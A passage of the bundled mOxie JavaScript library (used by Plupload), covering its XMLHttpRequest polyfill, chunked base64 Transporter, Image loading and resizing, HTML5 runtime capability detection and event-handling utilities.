				// 3-4
				if (_anonymous_flag || _sync_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				// 5
				_p('withCredentials', value);
			}
		});

		o.defineProperty(this, 'status', {
			configurable: false,

			get: function() {
				return _p('status');
			}
		});

		o.defineProperty(this, 'statusText', {
			configurable: false,

			get: function() {
				return _p('statusText');
			}
		});

		o.defineProperty(this, 'responseType', {
			configurable: false,

			get: function() {
				return _p('responseType');
			},

			set: function(value) {
				// 1
				if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2
				if (_sync_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				// 3
				_p('responseType', value.toLowerCase());
			}
		});

		o.defineProperty(this, 'responseText', {
			configurable: false,

			get: function() {
				// 1
				if (!~o.inArray(_p('responseType'), ['', 'text'])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2-3
				if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				return _p('responseText');
			}
		});

		o.defineProperty(this, 'responseXML', {
			configurable: false,

			get: function() {
				// 1
				if (!~o.inArray(_p('responseType'), ['', 'document'])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2-3
				if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				return _p('responseXML');
			}
		});

		o.defineProperty(this, 'response', {
			configurable: false,

			get: function() {
				if (!!~o.inArray(_p('responseType'), ['', 'text'])) {
					if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
						return '';
					}
				}

				if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
					return null;
				}

				return _p('response');
			}
		});

		*/

		function _p(prop, value) {
			if (!props.hasOwnProperty(prop)) {
				return;
			}
			if (arguments.length === 1) { // get
				return Env.can('define_property') ? props[prop] : self[prop];
			} else { // set
				if (Env.can('define_property')) {
					props[prop] = value;
				} else {
					self[prop] = value;
				}
			}
		}
		
		/*
		function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) {
			// TODO: http://tools.ietf.org/html/rfc3490#section-4.1
			return str.toLowerCase();
		}
		*/
		
		
		function _doXHR(data) {
			var self = this;
			
			_start_time = new Date().getTime();

			_xhr = new RuntimeTarget();

			function loadEnd() {
				if (_xhr) { // it could have been destroyed by now
					_xhr.destroy();
					_xhr = null;
				}
				self.dispatchEvent('loadend');
				self = null;
			}

			function exec(runtime) {
				_xhr.bind('LoadStart', function(e) {
					_p('readyState', XMLHttpRequest.LOADING);
					self.dispatchEvent('readystatechange');

					self.dispatchEvent(e);
					
					if (_upload_events_flag) {
						self.upload.dispatchEvent(e);
					}
				});
				
				_xhr.bind('Progress', function(e) {
					if (_p('readyState') !== XMLHttpRequest.LOADING) {
						_p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example)
						self.dispatchEvent('readystatechange');
					}
					self.dispatchEvent(e);
				});
				
				_xhr.bind('UploadProgress', function(e) {
					if (_upload_events_flag) {
						self.upload.dispatchEvent({
							type: 'progress',
							lengthComputable: false,
							total: e.total,
							loaded: e.loaded
						});
					}
				});
				
				_xhr.bind('Load', function(e) {
					_p('readyState', XMLHttpRequest.DONE);
					_p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0));
					_p('statusText', httpCode[_p('status')] || "");
					
					_p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType')));

					if (!!~Basic.inArray(_p('responseType'), ['text', ''])) {
						_p('responseText', _p('response'));
					} else if (_p('responseType') === 'document') {
						_p('responseXML', _p('response'));
					}

					_responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders');

					self.dispatchEvent('readystatechange');
					
					if (_p('status') > 0) { // status 0 usually means that server is unreachable
						if (_upload_events_flag) {
							self.upload.dispatchEvent(e);
						}
						self.dispatchEvent(e);
					} else {
						_error_flag = true;
						self.dispatchEvent('error');
					}
					loadEnd();
				});

				_xhr.bind('Abort', function(e) {
					self.dispatchEvent(e);
					loadEnd();
				});
				
				_xhr.bind('Error', function(e) {
					_error_flag = true;
					_p('readyState', XMLHttpRequest.DONE);
					self.dispatchEvent('readystatechange');
					_upload_complete_flag = true;
					self.dispatchEvent(e);
					loadEnd();
				});

				runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', {
					url: _url,
					method: _method,
					async: _async,
					user: _user,
					password: _password,
					headers: _headers,
					mimeType: _mimeType,
					encoding: _encoding,
					responseType: self.responseType,
					withCredentials: self.withCredentials,
					options: _options
				}, data);
			}

			// clarify our requirements
			if (typeof(_options.required_caps) === 'string') {
				_options.required_caps = Runtime.parseCaps(_options.required_caps);
			}

			_options.required_caps = Basic.extend({}, _options.required_caps, {
				return_response_type: self.responseType
			});

			if (data instanceof FormData) {
				_options.required_caps.send_multipart = true;
			}

			if (!Basic.isEmptyObj(_headers)) {
				_options.required_caps.send_custom_headers = true;
			}

			if (!_same_origin_flag) {
				_options.required_caps.do_cors = true;
			}
			

			if (_options.ruid) { // we do not need to wait if we can connect directly
				exec(_xhr.connectRuntime(_options));
			} else {
				_xhr.bind('RuntimeInit', function(e, runtime) {
					exec(runtime);
				});
				_xhr.bind('RuntimeError', function(e, err) {
					self.dispatchEvent('RuntimeError', err);
				});
				_xhr.connectRuntime(_options);
			}
		}
	
		
		function _reset() {
			_p('responseText', "");
			_p('responseXML', null);
			_p('response', null);
			_p('status', 0);
			_p('statusText', "");
			_start_time = _timeoutset_time = null;
		}
	}

	XMLHttpRequest.UNSENT = 0;
	XMLHttpRequest.OPENED = 1;
	XMLHttpRequest.HEADERS_RECEIVED = 2;
	XMLHttpRequest.LOADING = 3;
	XMLHttpRequest.DONE = 4;
	
	XMLHttpRequest.prototype = EventTarget.instance;

	return XMLHttpRequest;
});

// Included from: src/javascript/runtime/Transporter.js

/**
 * Transporter.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/runtime/Transporter", [
	"moxie/core/utils/Basic",
	"moxie/core/utils/Encode",
	"moxie/runtime/RuntimeClient",
	"moxie/core/EventTarget"
], function(Basic, Encode, RuntimeClient, EventTarget) {
	function Transporter() {
		var mod, _runtime, _data, _size, _pos, _chunk_size;

		RuntimeClient.call(this);

		Basic.extend(this, {
			uid: Basic.guid('uid_'),

			state: Transporter.IDLE,

			result: null,

			transport: function(data, type, options) {
				var self = this;

				options = Basic.extend({
					chunk_size: 204798
				}, options);

				// should divide by three, base64 requires this
				if ((mod = options.chunk_size % 3)) {
					options.chunk_size += 3 - mod;
				}

				_chunk_size = options.chunk_size;

				_reset.call(this);
				_data = data;
				_size = data.length;

				if (Basic.typeOf(options) === 'string' || options.ruid) {
					_run.call(self, type, this.connectRuntime(options));
				} else {
					// we require this to run only once
					var cb = function(e, runtime) {
						self.unbind("RuntimeInit", cb);
						_run.call(self, type, runtime);
					};
					this.bind("RuntimeInit", cb);
					this.connectRuntime(options);
				}
			},

			abort: function() {
				var self = this;

				self.state = Transporter.IDLE;
				if (_runtime) {
					_runtime.exec.call(self, 'Transporter', 'clear');
					self.trigger("TransportingAborted");
				}

				_reset.call(self);
			},


			destroy: function() {
				this.unbindAll();
				_runtime = null;
				this.disconnectRuntime();
				_reset.call(this);
			}
		});

		function _reset() {
			_size = _pos = 0;
			_data = this.result = null;
		}

		function _run(type, runtime) {
			var self = this;

			_runtime = runtime;

			//self.unbind("RuntimeInit");

			self.bind("TransportingProgress", function(e) {
				_pos = e.loaded;

				if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) {
					_transport.call(self);
				}
			}, 999);

			self.bind("TransportingComplete", function() {
				_pos = _size;
				self.state = Transporter.DONE;
				_data = null; // clean a bit
				self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || '');
			}, 999);

			self.state = Transporter.BUSY;
			self.trigger("TransportingStarted");
			_transport.call(self);
		}

		function _transport() {
			var self = this,
				chunk,
				bytesLeft = _size - _pos;

			if (_chunk_size > bytesLeft) {
				_chunk_size = bytesLeft;
			}

			chunk = Encode.btoa(_data.substr(_pos, _chunk_size));
			_runtime.exec.call(self, 'Transporter', 'receive', chunk, _size);
		}
	}

	Transporter.IDLE = 0;
	Transporter.BUSY = 1;
	Transporter.DONE = 2;

	Transporter.prototype = EventTarget.instance;

	return Transporter;
});

// Included from: src/javascript/image/Image.js

/**
 * Image.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/image/Image", [
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/Exceptions",
	"moxie/file/FileReaderSync",
	"moxie/xhr/XMLHttpRequest",
	"moxie/runtime/Runtime",
	"moxie/runtime/RuntimeClient",
	"moxie/runtime/Transporter",
	"moxie/core/utils/Env",
	"moxie/core/EventTarget",
	"moxie/file/Blob",
	"moxie/file/File",
	"moxie/core/utils/Encode"
], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) {
	/**
	Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data.

	@class Image
	@constructor
	@extends EventTarget
	*/
	var dispatches = [
		'progress',

		/**
		Dispatched when loading is complete.

		@event load
		@param {Object} event
		*/
		'load',

		'error',

		/**
		Dispatched when resize operation is complete.
		
		@event resize
		@param {Object} event
		*/
		'resize',

		/**
		Dispatched when visual representation of the image is successfully embedded
		into the corresponsing container.

		@event embedded
		@param {Object} event
		*/
		'embedded'
	];

	function Image() {

		RuntimeClient.call(this);

		Basic.extend(this, {
			/**
			Unique id of the component

			@property uid
			@type {String}
			*/
			uid: Basic.guid('uid_'),

			/**
			Unique id of the connected runtime, if any.

			@property ruid
			@type {String}
			*/
			ruid: null,

			/**
			Name of the file, that was used to create an image, if available. If not equals to empty string.

			@property name
			@type {String}
			@default ""
			*/
			name: "",

			/**
			Size of the image in bytes. Actual value is set only after image is preloaded.

			@property size
			@type {Number}
			@default 0
			*/
			size: 0,

			/**
			Width of the image. Actual value is set only after image is preloaded.

			@property width
			@type {Number}
			@default 0
			*/
			width: 0,

			/**
			Height of the image. Actual value is set only after image is preloaded.

			@property height
			@type {Number}
			@default 0
			*/
			height: 0,

			/**
			Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded.

			@property type
			@type {String}
			@default ""
			*/
			type: "",

			/**
			Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded.

			@property meta
			@type {Object}
			@default {}
			*/
			meta: {},

			/**
			Alias for load method, that takes another mOxie.Image object as a source (see load).

			@method clone
			@param {Image} src Source for the image
			@param {Boolean} [exact=false] Whether to activate in-depth clone mode
			*/
			clone: function() {
				this.load.apply(this, arguments);
			},

			/**
			Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File, 
			native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL, 
			Image will be downloaded from remote destination and loaded in memory.

			@example
				var img = new mOxie.Image();
				img.onload = function() {
					var blob = img.getAsBlob();
					
					var formData = new mOxie.FormData();
					formData.append('file', blob);

					var xhr = new mOxie.XMLHttpRequest();
					xhr.onload = function() {
						// upload complete
					};
					xhr.open('post', 'upload.php');
					xhr.send(formData);
				};
				img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg)
			

			@method load
			@param {Image|Blob|File|String} src Source for the image
			@param {Boolean|Object} [mixed]
			*/
			load: function() {
				_load.apply(this, arguments);
			},

			/**
			Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions.

			@method downsize
			@param {Object} opts
				@param {Number} opts.width Resulting width
				@param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width)
				@param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions
				@param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
				@param {String} [opts.resample=false] Resampling algorithm to use for resizing
			*/
			downsize: function(opts) {
				var defaults = {
					width: this.width,
					height: this.height,
					type: this.type || 'image/jpeg',
					quality: 90,
					crop: false,
					preserveHeaders: true,
					resample: false
				};

				if (typeof(opts) === 'object') {
					opts = Basic.extend(defaults, opts);
				} else {
					// for backward compatibility
					opts = Basic.extend(defaults, {
						width: arguments[0],
						height: arguments[1],
						crop: arguments[2],
						preserveHeaders: arguments[3]
					});
				}

				try {
					if (!this.size) { // only preloaded image objects can be used as source
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}

					// no way to reliably intercept the crash due to high resolution, so we simply avoid it
					if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
						throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
					}

					this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders);
				} catch(ex) {
					// for now simply trigger error event
					this.trigger('error', ex.code);
				}
			},

			/**
			Alias for downsize(width, height, true). (see downsize)
			
			@method crop
			@param {Number} width Resulting width
			@param {Number} [height=width] Resulting height (optional, if not supplied will default to width)
			@param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
			*/
			crop: function(width, height, preserveHeaders) {
				this.downsize(width, height, true, preserveHeaders);
			},

			getAsCanvas: function() {
				if (!Env.can('create_canvas')) {
					throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
				}

				var runtime = this.connectRuntime(this.ruid);
				return runtime.exec.call(this, 'Image', 'getAsCanvas');
			},

			/**
			Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws
			DOMException.INVALID_STATE_ERR).

			@method getAsBlob
			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
			@return {Blob} Image as Blob
			*/
			getAsBlob: function(type, quality) {
				if (!this.size) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}
				return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90);
			},

			/**
			Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws
			DOMException.INVALID_STATE_ERR).

			@method getAsDataURL
			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
			@return {String} Image as dataURL string
			*/
			getAsDataURL: function(type, quality) {
				if (!this.size) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}
				return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90);
			},

			/**
			Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws
			DOMException.INVALID_STATE_ERR).

			@method getAsBinaryString
			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
			@return {String} Image as binary string
			*/
			getAsBinaryString: function(type, quality) {
				var dataUrl = this.getAsDataURL(type, quality);
				return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7));
			},

			/**
			Embeds a visual representation of the image into the specified node. Depending on the runtime, 
			it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare, 
			can be used in legacy browsers that do not have canvas or proper dataURI support).

			@method embed
			@param {DOMElement} el DOM element to insert the image object into
			@param {Object} [opts]
				@param {Number} [opts.width] The width of an embed (defaults to the image width)
				@param {Number} [opts.height] The height of an embed (defaults to the image height)
				@param {String} [type="image/jpeg"] Mime type
				@param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg
				@param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions
			*/
			embed: function(el, opts) {
				var self = this
				, runtime // this has to be outside of all the closures to contain proper runtime
				;

				opts = Basic.extend({
					width: this.width,
					height: this.height,
					type: this.type || 'image/jpeg',
					quality: 90
				}, opts || {});
				

				function render(type, quality) {
					var img = this;

					// if possible, embed a canvas element directly
					if (Env.can('create_canvas')) {
						var canvas = img.getAsCanvas();
						if (canvas) {
							el.appendChild(canvas);
							canvas = null;
							img.destroy();
							self.trigger('embedded');
							return;
						}
					}

					var dataUrl = img.getAsDataURL(type, quality);
					if (!dataUrl) {
						throw new x.ImageError(x.ImageError.WRONG_FORMAT);
					}

					if (Env.can('use_data_uri_of', dataUrl.length)) {
						el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />';
						img.destroy();
						self.trigger('embedded');
					} else {
						var tr = new Transporter();

						tr.bind("TransportingComplete", function() {
							runtime = self.connectRuntime(this.result.ruid);

							self.bind("Embedded", function() {
								// position and size properly
								Basic.extend(runtime.getShimContainer().style, {
									//position: 'relative',
									top: '0px',
									left: '0px',
									width: img.width + 'px',
									height: img.height + 'px'
								});

								// some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's
								// position type changes (in Gecko), but since we basically need this only in IEs 6/7 and
								// sometimes 8 and they do not have this problem, we can comment this for now
								/*tr.bind("RuntimeInit", function(e, runtime) {
									tr.destroy();
									runtime.destroy();
									onResize.call(self); // re-feed our image data
								});*/

								runtime = null; // release
							}, 999);

							runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height);
							img.destroy();
						});

						tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, {
							required_caps: {
								display_media: true
							},
							runtime_order: 'flash,silverlight',
							container: el
						});
					}
				}

				try {
					if (!(el = Dom.get(el))) {
						throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR);
					}

					if (!this.size) { // only preloaded image objects can be used as source
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}
					
					// high-resolution images cannot be consistently handled across the runtimes
					if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
						//throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
					}

					var imgCopy = new Image();

					imgCopy.bind("Resize", function() {
						render.call(this, opts.type, opts.quality);
					});

					imgCopy.bind("Load", function() {
						imgCopy.downsize(opts);
					});

					// if embedded thumb data is available and dimensions are big enough, use it
					if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) {
						imgCopy.load(this.meta.thumb.data);
					} else {
						imgCopy.clone(this, false);
					}

					return imgCopy;
				} catch(ex) {
					// for now simply trigger error event
					this.trigger('error', ex.code);
				}
			},

			/**
			Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object.

			@method destroy
			*/
			destroy: function() {
				if (this.ruid) {
					this.getRuntime().exec.call(this, 'Image', 'destroy');
					this.disconnectRuntime();
				}
				this.unbindAll();
			}
		});


		// this is here, because in order to bind properly, we need uid, which is created above
		this.handleEventProps(dispatches);

		this.bind('Load Resize', function() {
			_updateInfo.call(this);
		}, 999);


		function _updateInfo(info) {
			if (!info) {
				info = this.exec('Image', 'getInfo');
			}

			this.size = info.size;
			this.width = info.width;
			this.height = info.height;
			this.type = info.type;
			this.meta = info.meta;

			// update file name, only if empty
			if (this.name === '') {
				this.name = info.name;
			}
		}
		

		function _load(src) {
			var srcType = Basic.typeOf(src);

			try {
				// if source is Image
				if (src instanceof Image) {
					if (!src.size) { // only preloaded image objects can be used as source
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}
					_loadFromImage.apply(this, arguments);
				}
				// if source is o.Blob/o.File
				else if (src instanceof Blob) {
					if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) {
						throw new x.ImageError(x.ImageError.WRONG_FORMAT);
					}
					_loadFromBlob.apply(this, arguments);
				}
				// if native blob/file
				else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) {
					_load.call(this, new File(null, src), arguments[1]);
				}
				// if String
				else if (srcType === 'string') {
					// if dataUrl String
					if (src.substr(0, 5) === 'data:') {
						_load.call(this, new Blob(null, { data: src }), arguments[1]);
					}
					// else assume Url, either relative or absolute
					else {
						_loadFromUrl.apply(this, arguments);
					}
				}
				// if source seems to be an img node
				else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') {
					_load.call(this, src.src, arguments[1]);
				}
				else {
					throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR);
				}
			} catch(ex) {
				// for now simply trigger error event
				this.trigger('error', ex.code);
			}
		}


		function _loadFromImage(img, exact) {
			var runtime = this.connectRuntime(img.ruid);
			this.ruid = runtime.uid;
			runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact));
		}


		function _loadFromBlob(blob, options) {
			var self = this;

			self.name = blob.name || '';

			function exec(runtime) {
				self.ruid = runtime.uid;
				runtime.exec.call(self, 'Image', 'loadFromBlob', blob);
			}

			if (blob.isDetached()) {
				this.bind('RuntimeInit', function(e, runtime) {
					exec(runtime);
				});

				// convert to object representation
				if (options && typeof(options.required_caps) === 'string') {
					options.required_caps = Runtime.parseCaps(options.required_caps);
				}

				this.connectRuntime(Basic.extend({
					required_caps: {
						access_image_binary: true,
						resize_image: true
					}
				}, options));
			} else {
				exec(this.connectRuntime(blob.ruid));
			}
		}


		function _loadFromUrl(url, options) {
			var self = this, xhr;

			xhr = new XMLHttpRequest();

			xhr.open('get', url);
			xhr.responseType = 'blob';

			xhr.onprogress = function(e) {
				self.trigger(e);
			};

			xhr.onload = function() {
				_loadFromBlob.call(self, xhr.response, true);
			};

			xhr.onerror = function(e) {
				self.trigger(e);
			};

			xhr.onloadend = function() {
				xhr.destroy();
			};

			xhr.bind('RuntimeError', function(e, err) {
				self.trigger('RuntimeError', err);
			});

			xhr.send(null, options);
		}
	}

	// virtual world will crash on you if image has a resolution higher than this:
	Image.MAX_RESIZE_WIDTH = 8192;
	Image.MAX_RESIZE_HEIGHT = 8192; 

	Image.prototype = EventTarget.instance;

	return Image;
});

// Included from: src/javascript/runtime/html5/Runtime.js

/**
 * Runtime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global File:true */

/**
Defines constructor for HTML5 runtime.

@class moxie/runtime/html5/Runtime
@private
*/
define("moxie/runtime/html5/Runtime", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/Runtime",
	"moxie/core/utils/Env"
], function(Basic, x, Runtime, Env) {
	
	var type = "html5", extensions = {};
	
	function Html5Runtime(options) {
		var I = this
		, Test = Runtime.capTest
		, True = Runtime.capTrue
		;

		var caps = Basic.extend({
				access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL),
				access_image_binary: function() {
					return I.can('access_binary') && !!extensions.Image;
				},
				display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')),
				do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()),
				drag_and_drop: Test(function() {
					// this comes directly from Modernizr: http://www.modernizr.com/
					var div = document.createElement('div');
					// IE has support for drag and drop since version 5, but doesn't support dropping files from desktop
					return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) && 
						(Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>'));
				}()),
				filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
					return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || 
						(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || 
						(Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
				}()),
				return_response_headers: True,
				return_response_type: function(responseType) {
					if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported
						return true;
					} 
					return Env.can('return_response_type', responseType);
				},
				return_status_code: True,
				report_upload_progress: Test(window.XMLHttpRequest && new XMLHttpRequest().upload),
				resize_image: function() {
					return I.can('access_binary') && Env.can('create_canvas');
				},
				select_file: function() {
					return Env.can('use_fileinput') && window.File;
				},
				select_folder: function() {
					return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>=');
				},
				select_multiple: function() {
					// it is buggy on Safari Windows and iOS
					return I.can('select_file') &&
						!(Env.browser === 'Safari' && Env.os === 'Windows') &&
						!(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<'));
				},
				send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))),
				send_custom_headers: Test(window.XMLHttpRequest),
				send_multipart: function() {
					return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string');
				},
				slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)),
				stream_upload: function(){
					return I.can('slice_blob') && I.can('send_multipart');
				},
				summon_file_dialog: function() { // yeah... some dirty sniffing here...
					return I.can('select_file') && (
						(Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
						(Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
						(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
						!!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
					);
				},
				upload_filesize: True
			}, 
			arguments[2]
		);

		Runtime.call(this, options, (arguments[1] || type), caps);


		Basic.extend(this, {

			init : function() {
				this.trigger("Init");
			},

			destroy: (function(destroy) { // extend default destroy method
				return function() {
					destroy.call(I);
					destroy = I = null;
				};
			}(this.destroy))
		});

		Basic.extend(this.getShim(), extensions);
	}

	Runtime.addConstructor(type, Html5Runtime);

	return extensions;
});

// Included from: src/javascript/core/utils/Events.js

/**
 * Events.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Events', [
	'moxie/core/utils/Basic'
], function(Basic) {
	var eventhash = {}, uid = 'moxie_' + Basic.guid();
	
	// IE W3C like event funcs
	function preventDefault() {
		this.returnValue = false;
	}

	function stopPropagation() {
		this.cancelBubble = true;
	}

	/**
	Adds an event handler to the specified object and store reference to the handler
	in objects internal Plupload registry (@see removeEvent).
	
	@method addEvent
	@for Utils
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Name to add event listener to.
	@param {Function} callback Function to call when event occurs.
	@param {String} [key] that might be used to add specifity to the event record.
	*/
	var addEvent = function(obj, name, callback, key) {
		var func, events;
					
		name = name.toLowerCase();

		// Add event listener
		if (obj.addEventListener) {
			func = callback;
			
			obj.addEventListener(name, func, false);
		} else if (obj.attachEvent) {
			func = function() {
				var evt = window.event;

				if (!evt.target) {
					evt.target = evt.srcElement;
				}

				evt.preventDefault = preventDefault;
				evt.stopPropagation = stopPropagation;

				callback(evt);
			};

			obj.attachEvent('on' + name, func);
		}
		
		// Log event handler to objects internal mOxie registry
		if (!obj[uid]) {
			obj[uid] = Basic.guid();
		}
		
		if (!eventhash.hasOwnProperty(obj[uid])) {
			eventhash[obj[uid]] = {};
		}
		
		events = eventhash[obj[uid]];
		
		if (!events.hasOwnProperty(name)) {
			events[name] = [];
		}
				
		events[name].push({
			func: func,
			orig: callback, // store original callback for IE
			key: key
		});
	};
	
	
	/**
	Remove event handler from the specified object. If third argument (callback)
	is not specified remove all events with the specified name.
	
	@method removeEvent
	@static
	@param {Object} obj DOM element to remove event listener(s) from.
	@param {String} name Name of event listener to remove.
	@param {Function|String} [callback] might be a callback or unique key to match.
	*/
	var removeEvent = function(obj, name, callback) {
		var type, undef;
		
		name = name.toLowerCase();
		
		if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) {
			type = eventhash[obj[uid]][name];
		} else {
			return;
		}
			
		for (var i = type.length - 1; i >= 0; i--) {
			// undefined or not, key should match
			if (type[i].orig === callback || type[i].key === callback) {
				if (obj.removeEventListener) {
					obj.removeEventListener(name, type[i].func, false);
				} else if (obj.detachEvent) {
					obj.detachEvent('on'+name, type[i].func);
				}
				
				type[i].orig = null;
				type[i].func = null;
				type.splice(i, 1);
				
				// If callback was passed we are done here, otherwise proceed
				if (callback !== undef) {
					break;
				}
			}
		}
		
		// If event array got empty, remove it
		if (!type.length) {
			delete eventhash[obj[uid]][name];
		}
		
		// If mOxie registry has become empty, remove it
		if (Basic.isEmptyObj(eventhash[obj[uid]])) {
			delete eventhash[obj[uid]];
			
			// IE doesn't let you remove DOM object property with - delete
			try {
				delete obj[uid];
			} catch(e) {
				obj[uid] = undef;
			}
		}
	};
	
	
	/**
	Remove all kind of events from the specified object
	
	@method removeAllEvents
	@static
	@param {Object} obj DOM element to remove event listeners from.
	@param {String} [key] unique key to match, when removing events.
	*/
	var removeAllEvents = function(obj, key) {		
		if (!obj || !obj[uid]) {
			return;
		}
		
		Basic.each(eventhash[obj[uid]], function(events, name) {
			removeEvent(obj, name, key);
		});
	};

	return {
		addEvent: addEvent,
		removeEvent: removeEvent,
		removeAllEvents: removeAllEvents
	};
});

// Included from: src/javascript/runtime/html5/file/FileInput.js

/**
 * FileInput.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/FileInput
@private
*/
